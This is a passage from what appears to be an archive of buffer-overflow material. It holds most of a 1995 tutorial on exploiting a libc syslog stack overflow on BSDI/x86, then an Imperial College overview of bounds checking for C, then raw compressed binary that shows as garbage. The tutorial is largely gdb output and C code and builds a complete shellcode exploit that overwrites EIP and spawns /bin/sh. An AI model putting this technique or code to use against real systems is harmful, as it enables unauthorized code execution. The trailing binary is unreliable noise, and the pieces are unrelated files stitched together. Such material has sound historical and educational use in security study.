0x1273 in vsyslog (0x41414141, 0x41414141, 0x41414141, 0x41414141)
|
Ok, this is good. The 41's you see are the hex equivallent for the ascii
character 'A'. We are definately going places where we shouldn't be.
(gdb) info all-registers
eax 0xefbfd641 -272640447
ecx 0x00000000 0
edx 0xefbfd67c -272640388
ebx 0xefbfe000 -272637952
esp 0xefbfd238 0xefbfd238
ebp 0xefbfde68 0xefbfde68
esi 0xefbfd684 -272640380
edi 0x0000cce8 52456
eip 0x00001273 0x1273
ps 0x00010212 66066
cs 0x0000001f 31
ss 0x00000027 39
ds 0x00000027 39
es 0x00000027 39
fs 0x00000027 39
gs 0x00000027 39
|
The gdb command 'info all-registers' shows the values in the current
hardware registers. The one we are really interested in is 'eip'. On
some platforms this will be called 'ip' or 'pc'. It is the Instruction
Pointer [also called Program Counter]. It points to the memory location
of the next instruction the processor will execute. By overwriting
this you can point to the beginning of your own code and the
processor will merrily start executing it assuming you have it written
as native opcodes and operands.
In the above we haven't gotten exactly where we need to be yet. If you want
to see where it crashed out do the following:
(gdb) disassemble 0x1273
[stuff deleted]
0x1267 : incl 0xfffff3dc(%ebp)
0x126d : testb %al,%al
0x126f : jne 0x125c
0x1271 : jmp 0x1276
0x1273 : movb %al,(%ebx)
0x1275 : incl %ebx
0x1276 : incl %edi
0x1277 : movb (%edi),%al
0x1279 : testb %al,%al
|
If you are familiar with microsoft assembler this will be a bit backwards
to you. For example: in microsoft you would 'mov ax,cx' to move cx to ax.
In AT&T 'mov ax,cx' moves ax to cx. So put on those warp refraction eye-goggles
and on we go.
Note also that Intel assembler
let's go back and tweak the original source code some eh?
-------------syslog_test_2.c-------------
#include
char buffer[4028];
void main() {
int i;
for (i=0; i<2024; i++)
buffer[i]='A';
syslog(LOG_ERR, buffer);
}
-----------end syslog_test_2.c-------------
|
We're just shortening the length of 'A''s.
bash$ gcc -g buf.c -o buf
bash$ gdb buf
(gdb) run
Starting program: /usr2/home/syslog/buf
Program received signal 5, Trace/BPT trap
0x1001 in ?? (Error accessing memory address 0x41414149: Cannot
allocate memory.
|
This is the magic response we've been looking for.
(gdb) info all-registers
eax 0xffffffff -1
ecx 0x00000000 0
edx 0x00000008 8
ebx 0xefbfdeb4 -272638284
esp 0xefbfde70 0xefbfde70
ebp 0x41414141 0x41414141 <- here it is!!!
esi 0xefbfdec0 -272638272
edi 0xefbfdeb8 -272638280
eip 0x00001001 0x1001
ps 0x00000246 582
cs 0x0000001f 31
ss 0x00000027 39
ds 0x00000027 39
es 0x00000027 39
fs 0x00000027 39
gs 0x00000027 39
|
Now we move it along until we figure out where eip lives in the overflow
(which is right after ebp in this arch architecture). With that known fact
we only have to add 4 more bytes to our buffer of 'A''s and we will
overwrite eip completely.
---------syslog_test_3.c----------------
#include
char buffer[4028];
void main() {
int i;
for (i=0; i<2028; i++)
buffer[i]='A';
syslog(LOG_ERR, buffer);
}
-------end syslog_test_3.c------------
bash$ !gc
gcc -g buf.c -o buf
bash$ gdb buf
(gdb) run
Starting program: /usr2/home/syslog/buf
Program received signal 11, Segmentation fault
0x41414141 in errno (Error accessing memory address
0x41414149: Cannot allocate memory.
(gdb) info all-registers
eax 0xffffffff -1
ecx 0x00000000 0
edx 0x00000008 8
ebx 0xefbfdeb4 -272638284
esp 0xefbfde70 0xefbfde70
ebp 0x41414141 0x41414141
esi 0xefbfdec0 -272638272
edi 0xefbfdeb8 -272638280
eip 0x41414141 0x41414141
ps 0x00010246 66118
cs 0x0000001f 31
ss 0x00000027 39
ds 0x00000027 39
es 0x00000027 39
fs 0x00000027 39
gs 0x00000027 39
|
BINGO!!!
Here's where it starts to get interesting. Now that we know eip starts
at buffer[2024] and goes through buffer[2027] we can load it up with
whatever we need. The question is... what do we need?
We find this by looking at the contents of buffer[].
(gdb) disassemble buffer
[stuff deleted]
0xc738 : incl %ecx
0xc739 : incl %ecx
0xc73a : incl %ecx
0xc73b : incl %ecx
0xc73c : addb %al,(%eax)
0xc73e : addb %al,(%eax)
0xc740 : addb %al,(%eax)
[stuff deleted]
|
On the Intel x86 architecture [a pentium here but that doesn't matter]
incl %eax is opcode 0100 0001 or 41hex. addb %al,(%eax) is 0000 0000 or 0x0
hex. We will load up buffer[2024] to buffer[2027] with the address of
0xc73c where we will start our code. You have two options here, one is
to load the buffer up with the opcodes and operands and point the eip
back into the buffer; the other option is what we are going to be doing
which is to put the opcodes and operands after the eip and point to them.
The advantage to putting the code inside the buffer is that other than
the ebp and eip registers you don't clobber anything else. The disadvantage
is that you will need to do trickier coding (and actually write the
assembly yourself) so that there are no bytes that contain 0x0 which will
look like a null in the string. This will require you to know enough about
the native chip architecture and opcodes to do this [easy enough for some
people on Intel x86's but what happens when you run into an Alpha? -- lucky
for us there is a gdb for Alpha I think ;-)].
The advantage to putting the code after the eip is that you don't have to
worry about bytes containing 0x0 in them. This way you can write whatever
program you want to execute in 'C' and have gdb generate most of the
machine code for you. The disadvantage is that you are overwriting the
great unknown. In most cases the section you start to overwrite here
contains your environment variables and other whatnots.... upon
succesfully running your created code you might be dropped back into
a big void. Deal with it.
The safest instruction is NOP which is a benign no-operation.
This is what you will probably be loading the buffer up with as filler.
Ahhh but what if you don't know what the opcodes are for the particular
architecture you are on. No problem. gcc has a wonderfull function called
__asm__(char *); I rely upon this heavily for doing buffer overflows
on architectures that I don't have assembler books for.
------nop.c--------
void main(){
__asm__("nop\n");
}
----end nop.c------
bash$ gcc -g nop.c -o nop
bash$ gdb nop
(gdb) disassemble main
Dump of assembler code for function main:
to 0x1088:
0x1080 : pushl %ebp
0x1081 : movl %esp,%ebp
0x1083 : nop
0x1084 : leave
0x1085 : ret
0x1086 : addb %al,(%eax)
End of assembler dump.
(gdb) x/bx 0x1083
0x1083 : 0x90
|
Since nop is at 0x1083 and the next instruction is at 0x1084 we know that
nop only takes up one byte. Examining that byte shows us that it is
0x90 (hex).
Our program now looks like this:
------ syslog_test_4.c---------
#include
char buffer[4028];
void main() {
int i;
for (i=0; i<2024; i++)
buffer[i]=0x90;
i=2024;
buffer[i++]=0x3c;
buffer[i++]=0xc7;
buffer[i++]=0x00;
buffer[i++]=0x00;
syslog(LOG_ERR, buffer);
}
------end syslog_test_4.c-------
|
Notice you need to load the eip backwards ie 0000c73c is loaded into
the buffer as 3c c7 00 00.
Now the question we have is what is the code we insert from here on?
Suppose we want to run /bin/sh? Gee, I don't have a friggin clue as
to why someone would want to do something like this, but I hear there
are a lot of nasty people out there. Oh well. Here's the proggie we
want to execute in C code:
------execute.c--------
#include
main()
{
char *name[2];
name[0] = "sh";
name[1] = NULL;
execve("/bin/sh",name,NULL);
}
----end execute.c-------
bash$ gcc -g execute.c -o execute
bash$ execute
$
|
Ok, the program works. Then again, if you couldn't whip up that
little prog you should probably throw in the towel here. Maybe become
a webmaster or something that requires little to no programming (or
brainwave activity period). Here's the gdb scoop:
bash$ gdb execute
(gdb) disassemble main
Dump of assembler code for function main:
to 0x10b8:
0x1088 : pushl %ebp
0x1089 : movl %esp,%ebp
0x108b : subl $0x8,%esp
0x108e : movl $0x1080,0xfffffff8(%ebp)
0x1095 : movl $0x0,0xfffffffc(%ebp)
0x109c : pushl $0x0
0x109e : leal 0xfffffff8(%ebp),%eax
0x10a1 : pushl %eax
0x10a2 : pushl $0x1083
0x10a7 : call 0x10b8
0x10ac : leave
0x10ad : ret
0x10ae : addb %al,(%eax)
0x10b0 : jmp 0x1140
0x10b5 : addb %al,(%eax)
0x10b7 : addb %cl,0x3b05(%ebp)
End of assembler dump.
(gdb) disassemble execve
Dump of assembler code for function execve:
to 0x10c8:
0x10b8 : leal 0x3b,%eax
0x10be : lcall 0x7,0x0
0x10c5 : jb 0x10b0
0x10c7 : ret
End of assembler dump.
|
This is the assembly behind what our execute program does to run /bin/sh.
We use execve() as it is a system call and this is what we are going to
have our program execute (ie let the kernel service run it as opposed
to having to write it from scratch).
0x1083 contains the /bin/sh string and is the last thing pushed onto the
stack before the call to execve.
(gdb) x/10bc 0x1083
0x1083 : 47 '/' 98 'b' 105 'i' 110 'n' 47 '/' 115 's'
104 'h' 0 '\000'
|
(0x1080 contains the arguments...which I haven't been able to really
clean up).
We will replace this address with the one where our string lives [when
we decide where that will be].
Here's the skeleton we will use from the execve disassembly:
[main]
0x108d : movl %esp,%ebp
0x108e : movl $0x1083,0xfffffff8(%ebp)
0x1095 : movl $0x0,0xfffffffc(%ebp)
0x109c : pushl $0x0
0x109e : leal 0xfffffff8(%ebp),%eax
0x10a1 : pushl %eax
0x10a2 : pushl $0x1080
[execve]
0x10b8 : leal 0x3b,%eax
0x10be : lcall 0x7,0x0
|
All you need to do from here is to build up a bit of an environment for
the program. Some of this stuff isn't necesary but I have it in still
as I haven't fine tuned this yet.
I clean up eax. I don't remember why I do this and it shouldn't
really be necesarry. Hell, better quit hitting the sauce.
I'll figure out if it is after I tune this up a bit.
We will encapsulate the actuall program with a jmp to somewhere and a call right back to the instruction after the jmp. This pushes ecx and esi onto
the stack.
jmp 0x???? # this will jump to the call...
popl %esi
popl %ecx
|
The call back will be something like:
call 0x???? # this will point to the instruction after the jmp (ie
# popl %esi)
All put together it looks like this now:
----------------------------------------------------------------------
movl %esp,%ebp
xorl %eax,%eax
jmp 0x???? # we don't know where yet...
# -------------[main]
movl $0x????,0xfffffff8(%ebp) # we don't know what the address will
# be yet.
movl $0x0,0xfffffffc(%ebp)
pushl $0x0
leal 0xfffffff8(%ebp),%eax
pushl %eax
pushl $0x???? # we don't know what the address will
# be yet.
# ------------[execve]
leal 0x3b,%eax
lcall 0x7,0x0
call 0x???? # we don't know where yet...
----------------------------------------------------------------------
|
There are only a couple of more things that we need to add before we
fill in the addresses to a couple of the instructions.
Since we aren't actually calling execve with a 'call' anymore here, we need
to push the value in ecx onto the stack to simulate it.
# ------------[execve]
pushl %ecx
leal 0x3b,%eax
lcall 0x7,0x0
|
The only other thing is to not pass in the arguments to /bin/sh. We do
this by changing the ' leal 0xfffffff8(%ebp),%eax' to
' leal 0xfffffffc(%ebp),%eax' [remember 0x0 was moved there].
So the whole thing looks like this (without knowing the addresses for
the '/bin/sh\0' string):
movl %esp,%ebp
xorl %eax,%eax # we added this
jmp 0x???? # we added this
popl %esi # we added this
popl %ecx # we added this
movl $0x????,0xfffffff5(%ebp)
movl $0x0,0xfffffffc(%ebp)
pushl $0x0
leal 0xfffffffc(%ebp),%eax # we changed this
pushl %eax
pushl $0x????
leal 0x3b,%eax
pushl %ecx # we added this
lcall 0x7,0x0
call 0x???? # we added this
|
To figure out the bytes to load up our buffer with for the parts that
were already there run gdb on the execute program.
bash$ gdb execute
(gdb) disassemble main
Dump of assembler code for function main:
to 0x10bc:
0x108c : pushl %ebp
0x108d : movl %esp,%ebp
0x108f : subl $0x8,%esp
0x1092 : movl $0x1080,0xfffffff8(%ebp)
0x1099 : movl $0x0,0xfffffffc(%ebp)
0x10a0 : pushl $0x0
0x10a2 : leal 0xfffffff8(%ebp),%eax
0x10a5 : pushl %eax
0x10a6 : pushl $0x1083
0x10ab : call 0x10bc
0x10b0 : leave
0x10b1 : ret
0x10b2 : addb %al,(%eax)
0x10b4 : jmp 0x1144
0x10b9 : addb %al,(%eax)
0x10bb : addb %cl,0x3b05(%ebp)
End of assembler dump.
[get out your scratch paper for this one... ]
0x108d : movl %esp,%ebp
this goes from 0x108d to 0x108e. 0x108f starts the next instruction.
thus we can see the machine code with gdb like this.
(gdb) x/2bx 0x108d
0x108d : 0x89 0xe5
|
Now we know that buffer[2028]=0x89 and buffer[2029]=0xe5. Do this for all
of the instructions that we are pulling out of the execute program.
You can figure out the basic structure for the call command by looking at
the one inexecute that calls execve. Of course you will eventually need
to put in the proper address.
When I work this out I break down the whole program so I can see what's
going on. Something like the following
0x108c : pushl %ebp
0x108d : movl %esp,%ebp
0x108f : subl $0x8,%esp
(gdb) x/bx 0x108c
0x108c : 0x55
(gdb) x/bx 0x108d
0x108d : 0x89
(gdb) x/bx 0x108e
0x108e : 0xe5
(gdb) x/bx 0x108e
0x108f : 0x83
so we see the following from this:
0x55 pushl %ebp
0x89 movl %esp,%ebp
0xe5
0x83 subl $0x8,%esp
etc. etc. etc.
|
For commands that you don't know the opcodes to you can find them out
for the particular chip you are on by writing little scratch programs.
----pop.c-------
void main() {
__asm__("popl %esi\n");
}
---end pop.c----
bash$ gcc -g pop.c -o pop
bash$ gdb pop
(gdb) disassemble main
Dump of assembler code for function main:
to 0x1088:
0x1080 : pushl %ebp
0x1081 : movl %esp,%ebp
0x1083 : popl %esi
0x1084 : leave
0x1085 : ret
0x1086 : addb %al,(%eax)
End of assembler dump.
(gdb) x/bx 0x1083
0x1083 : 0x5e
|
So, 0x5e is popl %esi. You get the idea.
After you have gotten this far build the string up (put in bogus addresses
for the ones you don't know in the jmp's and call's... just so long
as we have the right amount of space being taken up by the jmp and
call instructions... likewise for the movl's where we will need to know
the memory location of 'sh\0\0/bin/sh\0'.
After you have built up the string, tack on the chars for sh\0\0/bin/sh\0.
Compile the program and load it into gdb. Before you run it in gdb
set a break point for the syslog call.
(gdb) break syslog
Breakpoint 1 at 0x1463
(gdb) run
Starting program: /usr2/home/syslog/buf
Breakpoint 1, 0x1463 in syslog (0x00000003, 0x0000bf50, 0x0000082c,
0xefbfdeac)
(gdb) disassemble 0xc73c 0xc77f
(we know it will start at 0xc73c since thats right after the
eip overflow... 0xc77f is just an educated guess as to where
it will end)
(gdb) disassemble 0xc73c 0xc77f
Dump of assembler code from 0xc73c to 0xc77f:
0xc73c : movl %esp,%ebp
0xc73e : xorl %eax,%eax
0xc740 : jmp 0xc76b
0xc742 : popl %esi
0xc743 : popl %ecx
0xc744 : movl $0xc770,0xfffffff5(%ebp)
0xc74b : movl $0x0,0xfffffffc(%ebp)
0xc752 : pushl $0x0
0xc754 : leal 0xfffffffc(%ebp),%eax
0xc757 : pushl %eax
0xc758 : pushl $0xc773
0xc75d : leal 0x3b,%eax
0xc763 : pushl %ecx
0xc764 : lcall 0x7,0x0
0xc76b : call 0xc742
0xc770 : jae 0xc7da
0xc772 : addb %ch,(%edi)
0xc774 : boundl 0x6e(%ecx),%ebp
0xc777 : das
0xc778 : jae 0xc7e2
0xc77a : addb %al,(%eax)
0xc77c : addb %al,(%eax)
0xc77e : addb %al,(%eax)
End of assembler dump.
|
Look for the last instruction in your code. In this case it was the 'call'
to right after the 'jmp' near the beginning. Our data should be right
after it and indeed we see that it is.
(gdb) x/13bc 0xc770
0xc770 : 115 's' 104 'h' 0 '\000' 47 '/'
98 'b' 105 'i' 110 'n' 47 '/'
0xc778 : 115 's' 104 'h' 0 '\000' 0 '\000' 0 '\000'
|
Now go back into your code and put the appropriate addresses in the movl
and pushl. At this point you should also be able to put in the appropriate
operands for the jmp and call. Congrats... you are done. Here's what
the output will look like when you run this on a system with the non
patched libc/syslog bug.
bash$ buf
$ exit (do whatever here... you spawned a shell!!!!!! yay!)
bash$
|
Here's my original program with lot's of comments:
/*****************************************************************/
/* For BSDI running on Intel architecture -mudge, 10/19/95 */
/* by following the above document you should be able to write */
/* buffer overflows for other OS's on other architectures now */
/* [email protected] */
/* */
/* note: I haven't cleaned this up yet... it could be much nicer */
/*****************************************************************/
#include
char buffer[4028];
void main () {
int i;
for(i=0; i<2024; i++)
buffer[i]=0x90;
/* should set eip to 0xc73c */
buffer[2024]=0x3c;
buffer[2025]=0xc7;
buffer[2026]=0x00;
buffer[2027]=0x00;
i=2028;
/* begin actuall program */
buffer[i++]=0x89; /* movl %esp, %ebp */
buffer[i++]=0xe5;
buffer[i++]=0x33; /* xorl %eax,%eax */
buffer[i++]=0xc0;
buffer[i++]=0xeb; /* jmp ahead */
buffer[i++]=0x29;
buffer[i++]=0x5e; /* popl %esi */
buffer[i++]=0x59; /* popl %ecx */
buffer[i++]=0xc7; /* movl $0xc770,0xfffffff8(%ebp) */
buffer[i++]=0x45;
buffer[i++]=0xf5;
buffer[i++]=0x70;
buffer[i++]=0xc7;
buffer[i++]=0x00;
buffer[i++]=0x00;
buffer[i++]=0xc7; /* movl $0x0,0xfffffffc(%ebp) */
buffer[i++]=0x45;
buffer[i++]=0xfc;
buffer[i++]=0x00;
buffer[i++]=0x00;
buffer[i++]=0x00;
buffer[i++]=0x00;
buffer[i++]=0x6a; /* pushl $0x0 */
buffer[i++]=0x00;
#ifdef z_out
buffer[i++]=0x8d; /* leal 0xfffffff8(%ebp),%eax */
buffer[i++]=0x45;
buffer[i++]=0xf8;
#endif
/* the above is what the disassembly of execute does... but we only
want to push /bin/sh to be executed... it looks like this leal
puts into eax the address where the arguments are going to be
passed. By pointing to 0xfffffffc(%ebp) we point to a null
and don't care about the args... could probably just load up
the first section movl $0x0,0xfffffff8(%ebp) with a null and
left this part the way it want's to be */
buffer[i++]=0x8d; /* leal 0xfffffffc(%ebp),%eax */
buffer[i++]=0x45;
buffer[i++]=0xfc;
buffer[i++]=0x50; /* pushl %eax */
buffer[i++]=0x68; /* pushl $0xc773 */
buffer[i++]=0x73;
buffer[i++]=0xc7;
buffer[i++]=0x00;
buffer[i++]=0x00;
buffer[i++]=0x8d; /* lea 0x3b,%eax */
buffer[i++]=0x05;
buffer[i++]=0x3b;
buffer[i++]=0x00;
buffer[i++]=0x00;
buffer[i++]=0x00;
buffer[i++]=0x51; /* pushl %ecx */
buffer[i++]=0x9a; /* lcall 0x7,0x0 */
buffer[i++]=0x00;
buffer[i++]=0x00;
buffer[i++]=0x00;
buffer[i++]=0x00;
buffer[i++]=0x07;
buffer[i++]=0x00;
buffer[i++]=0xe8; /* call back to ??? */
buffer[i++]=0xd2;
buffer[i++]=0xff;
buffer[i++]=0xff;
buffer[i++]=0xff;
buffer[i++]='s';
buffer[i++]='h';
buffer[i++]=0x00;
buffer[i++]='/';
buffer[i++]='b';
buffer[i++]='i';
buffer[i++]='n';
buffer[i++]='/';
buffer[i++]='s';
buffer[i++]='h';
buffer[i++]=0x00;
buffer[i++]=0x00;
syslog(LOG_ERR, buffer);
}
|
Copyright 1995, 1996 LHI Technologies, All Rights Reserved
buffer-overflows/BoundsChecking.html100644 0 0 14441 6347416043 16241 0ustar rootroot
Bounds Checking for C
Bounds Checking for C
Richard Jones and Paul Kelly, Imperial College, July 1995
We're very excited about this: we can check every time a program
uses a pointer or array and ensure that only valid references are
allowed. This isn't new: what's new is that checked code can
interwork with unchecked modules, libraries and system calls. We're
still working on some rough edges and on improving the performance.
This is a short overview; for a full report (and the code), see
here.
C is unusual among programming languages in providing the programmer
with the full power of pointers. Languages in the Pascal/Algol family
have arrays and pointers, with the restriction that arithmetic on
pointers is disallowed. Languages like BCPL allow arbitrary
operations on pointers, but lack types and so require clumsy scaling
by object sizes.
An advantage of the Pascal/Algol approach is that array references can
be checked at run-time fairly efficiently, in fact so efficiently that
there is a good case for bounds-checking in production code. Bounds
checking is easy for arrays because the array subscript syntax
specifies both the address calculation and the array within which the
resulting pointer should point.
With pointers in C, a pointer can be used in a context divorced from
the name of the storage region for which it is valid.
Approaches to bounds checking
One response to this analysis is to discard C, since this lack of
efficient checkability is responsible for many software failures.
A second approach is to extend the language to make checking easier.
There are various proposals for doing this, and it is an opportunity
to add other features such as assertion checking.
A third more-or-less workable scheme is to modify the representation of
pointers to include three items: the pointer itself, and the lower and
upper bounds of the object to which it is supposed to point.
Experience with this has shown the benefits of bounds checking (e.g.
see the bcc and rtcc compilers cited below), but there are
difficulties:
- Although some optimisation is possible, execution time of the
resulting code increases by a large factor (ten or more,
apparently).
Even if the checking code can be optimised away, there remains
the cost of passing triples for every pointer - which
essentially prevents their being allocated to registers.
- Because the representation of pointers has been changed,
checked code is incompatible with normal code. This means
that special versions of all libraries and system calls must
be provided, and all the constituent modules of a program
must be run with checking on. This adds to the performance
problem.
Some automatic support for interfacing checked code with
normal code can be given, but this only works for
straightforward cases. GUI code with call-backs, for example,
is tricky.
- Code which interfaces to hardware (e.g. a DMA controller)
requires special attention since the hardware must be presented with
standard addresses.
How we solved the problem
Our technique provides full checking without changing the
representation of pointers. We therefore avoid most of the problems
noted above. Some efficiency problems remain, but bounds checking
need not be used in all of the files which make up a program, so
trusted, performance-critical code can run at full speed.
The key idea is this:
- Every pointer expression derives a new pointer from a unique
original pointer.
For example, in "p+2*k+1" we derive a new pointer from "p".
By contrast, in "p+q" or "p-q", we derive an integer from two pointers.
The integer is nonsense as a pointer.
We call this unique original pointer the expression's "base" pointer.
- Every pointer value is valid for just one allocated storage
region.
An allocated storage region may be a global, static, automatic
or heap-allocated variable, structure or array.
- We can check whether a pointer arithmetic expression is valid
by finding its base pointer's storage region, then checking
that the expression's result points into the same storage region.
- If the base pointer appears not to refer to any valid region,
then it must refer to a region originating in unchecked code.
In this case we cannot check the result of the expression.
- If the base pointer's storage region is an array, say A[100], then
(according to the ANSI standard) it is valid to calculate
the address of the element after the last one valid (in this
example, the address of A[100]).
This is so that a pointer can be incremented and then tested
for the loop exit condition.
To prevent false alarms, we pad the storage layout of arrays
to that A[100] is a valid pointer (we still check it when it
is used).
Implementation
We made some small modifications to the C front-end of gcc, the Gnu C
compiler, to add code to check pointer arithmetic and use, and to
maintain a table of known allocated storage regions.
We went to some trouble to ensure that gcc's optimiser could handle
the added code, and employed modest inlining for efficiency.
The table of known allocated storage regions has to handle insertions,
deletions and range lookups extremely fast, but since programs display a
high degree of locality the access pattern is highly skewed. For
these reasons a splay tree was used, in which objects
are migrated to the root when accessed.
Performance
- nfib (dumb doubly-recursive Fibonacci): no slowdown.
- Execution time: same.
- Compile-time: slowdown of 3 (very small)
- Executable size: much larger due to inclusion of library.
- Matrix multiply (ikj, using array subscripting):
- Execution time: slowdown of around 30 compared to
unoptimised.
- Compile-time: slowdown of around 2.
- Executable size: roughly the same.
Availability
The software is distributed free under GNU copyleft, in the form of a
patch to the gcc 2.7.0 source distribution
( here).
buffer-overflows/linux-stack.tar.gz100644 0 0 23525 6347416140 16057 0ustar rootroot�z3�\{w�F��ѧ�8�����g���qƯO&s��,�!���M���~U��3��=�lHb�U]]]��.�:��F��~���%���-�LЫ2�����z}�Qݮ�T��V���3���"(��`��ߏ�{���ӗ���s��۟m�j���h���v��H�_i� �F�Q}&*���^���7Hg�W��ҞDֵ+�$��`5V -Q*�R
�^�t�؊�!M,}��0���!�oep�Ȼ��q5tB���Nj�ח}����E菤~$���=a�X�F��k���"�f'�Cߕ�x��w���d0��|,:p���l�>�y?v}'
���
�8��w@�x7Xl0�x��P2���Ix"J�B=�����[��V0�ߗ��:j��v��CYR�X$��2B3�����0n'�'��qA5q-m"a��
�T��;�Nb� ���Z�͈�z�Gb$-/$6���+��X`
'��)၁آp�)Q3�GYti�yvϓy縮F�֎ ]���|���pl+�p�,�������Ԙ�N���l'$�:�ްT|��G(3�7�S���X�F�z
��Z����,��;�5����x�;P7���&�o8#��0��? �1��
��I`)9H�$A����<�IڊaD�1�����RZ}c(�1�Ț6����44!̾�aģ�x5q�>Cj�@@����3:^�@Y���w~�6f�A��ݩI�F�u$èlk
0~"�x���7Q��"��ʛ�5q#E#��g�@?��I�C�0Vض��H��1���on��ټ��M�?��HC#�DCї���!����g@�C�V2>ځ�J�@�l�S= ��mC�}_(�5� c��L<���\��M�Ih���R�S�h���~���l���)ޒEa�َC@�n�~��N�H�C��D��0��❄b���"�6�� ��;[ϲJ(�*3Ud*}���wXVVj��a?b�P~%#<���x��OxȏǮ[����B�k����`�"
9 �$�9
|W��1$�^��e����
"8� i���E{��,w�d�c#��x2����>�
k��bPTdę�HG�����2��F�)���Tޟ�Q �5qRM#�7N��j�p#1c4#����S�
�#t�-�%h��a�^���U�W�g�Z̑�ɡ�
e�C�#�0����q7��M�-�cׅ)g�¬T�7ܱ9�L�`'�I$GGT�>k�d��)D���DgY��ȹFb���@&n�D�}'L��N#f�S��d�ê�"tn<8�!Hu�em�%f�y��Ua�Ӵ_G6�5Tm=�1�ca�Tz�����n��*���0�[�R{�8L�H�)$�!Uǻ�J�*�8�������D
j��l�Թ"����p�hl�=!ܫ� ���J�ew�� N��Sl�2��Y��:��[���x�A�V\gM8�9di�%�����Ly"Gh�-CqziK^ħ5����F�Y��H�H?$��$��""q(��TK��C��m -)N�"�RT�nD��=Q�eDQ��`j�PQ}�:�,JS��e�ޔ�4��b!�7����:��0���o�:�����]�7���*��k